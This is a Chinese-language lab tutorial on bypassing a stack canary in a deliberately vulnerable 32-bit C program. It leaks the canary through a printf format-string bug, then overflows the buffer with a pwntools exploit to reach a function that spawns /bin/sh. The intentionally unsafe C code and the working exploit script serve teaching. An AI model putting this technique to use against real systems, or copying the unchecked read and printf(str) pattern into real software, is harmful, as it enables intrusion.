利用printf漏洞突破canary保护

利用printf漏洞突破canary保护

0x01 背景

之前已经对canary保护和printf漏洞分别进行了简单的讲解,本篇文章将介绍如何利用printf漏洞来突破canary保护。

0x02 环境

ubuntu 16.04(已安装好pwn所需的各种工具)

0x03 实验

首先,先写一段c程序,这里命名为printf2.c,源码如下:

#include<stdio.h>
void exploit()
{
    system("/bin/sh");
}
void func()
{
    char str[0x20];
    read(0, str, 0x50);
    printf(str);
    read(0, str, 0x50);
}
int main()
{
    func();
    return 0;
}

然后编译一下,需要开启canary保护:

gcc -no-pie -fstack-protector-all -m32 -o printf2 printf2.c

之后老规矩checksec检查一下保护:

canary

可以看到确实已经开启了canary保护。

接着直接用gdb调试,先看下func函数:

disass_func

简单分析下可以看到有两个read和一个printf,canary值在[ebp-0xC]处,直接在printf这里下断然后运行,随意输入个字符串,这里输入了“SSS”:

breakpoint

使用stack命令看下堆栈:

ebp-0xc

可以看到[ebp-0xC]处的canary值,它距离esp的偏移为15,现在再重新运行一下,输入%15$08x(%15是输入距离第一个参数(这里是栈顶)的第15个位置,$08x是输出8位16进制):

%15$08x

然后单步执行一下,看下打印出了什么:

printf

可以看到打印出了一个值,但是还不确定是什么,接着看下堆栈:

printf_canary

可以看到上述打印出的值就是栈中的这个canary值(注意每次运行这个canary值会变)。

下面再看下canary的偏移(距离输入的字符串有多远):

canary_offset

可以看到偏移是8,那么要覆盖的就是8*4字节,继续看下返回地址的偏移:

ret_offset

可以看到偏移是3,那么要覆盖的就是3*4字节,之后再看下我们要的返回地址(exploit的地址):

exploit_addr

最后整理下思路,写出exp:

from pwn import*

p = process("./printf2")

p.sendline("%15$08x")

canary = p.recv()[:8]      # 只接收前八位,不要回车

canary = canary.decode("hex")[::-1]    # 处理canary值为小端倒序

print canary

canary_offset = 8*4          # canary偏移

ret_offset = 3*4             # 返回地址偏移

exploit_addr = p32(0x080484e6)    # exploit地址

payload = canary_offset*'a' + canary + ret_offset*'a' + exploit_addr

p.sendline(payload)

p.interactive()

运行一下,执行成功:

exp